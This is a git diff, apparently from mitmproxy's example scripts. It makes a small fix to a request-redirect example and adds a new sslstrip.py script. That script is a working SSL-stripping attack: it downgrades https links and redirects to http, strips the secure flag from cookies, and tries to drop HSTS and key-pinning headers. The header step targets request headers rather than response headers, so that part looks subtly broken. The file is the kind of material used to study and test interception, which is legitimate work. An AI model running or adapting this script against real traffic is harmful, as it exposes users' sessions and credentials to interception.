diff options
Diffstat (limited to 'examples')
| -rw-r--r-- | examples/redirect_requests.py | 4 | ||||
| -rw-r--r-- | examples/sslstrip.py | 40 |
2 files changed, 42 insertions, 2 deletions
diff --git a/examples/redirect_requests.py b/examples/redirect_requests.py index 5cc81633..a3145083 100644 --- a/examples/redirect_requests.py +++ b/examples/redirect_requests.py @@ -12,11 +12,11 @@ def request(context, flow): # Method 1: Answer with a locally generated response if flow.request.pretty_host.endswith("example.com"): resp = HTTPResponse( - [1, 1], 200, "OK", + "HTTP/1.1", 200, "OK", Headers(Content_Type="text/html"), "helloworld") flow.reply(resp) # Method 2: Redirect the request to a different server if flow.request.pretty_host.endswith("example.org"): - flow.request.host = "mitmproxy.org"
\ No newline at end of file + flow.request.host = "mitmproxy.org" diff --git a/examples/sslstrip.py b/examples/sslstrip.py new file mode 100644 index 00000000..369427a2 --- /dev/null +++ b/examples/sslstrip.py @@ -0,0 +1,40 @@ +from netlib.http import decoded +import re +from six.moves import urllib + +def start(context, argv) : + + #set of SSL/TLS capable hosts + context.secure_hosts = set() + +def request(context, flow) : + + flow.request.headers.pop('If-Modified-Since', None) + flow.request.headers.pop('Cache-Control', None) + + #proxy connections to SSL-enabled hosts + if flow.request.pretty_host in context.secure_hosts : + flow.request.scheme = 'https' + flow.request.port = 443 + +def response(context, flow) : + + with decoded(flow.response) : + flow.request.headers.pop('Strict-Transport-Security', None) + flow.request.headers.pop('Public-Key-Pins', None) + + #strip links in response body + flow.response.content = flow.response.content.replace('https://', 'http://') + + #strip links in 'Location' header + if flow.response.headers.get('Location','').startswith('https://'): + location = flow.response.headers['Location'] + hostname = urllib.parse.urlparse(location).hostname + if hostname: + context.secure_hosts.add(hostname) + flow.response.headers['Location'] = location.replace('https://', 'http://', 1) + + #strip secure flag from 'Set-Cookie' headers + cookies = flow.response.headers.get_all('Set-Cookie') + cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] + flow.response.headers.set_all('Set-Cookie', cookies) |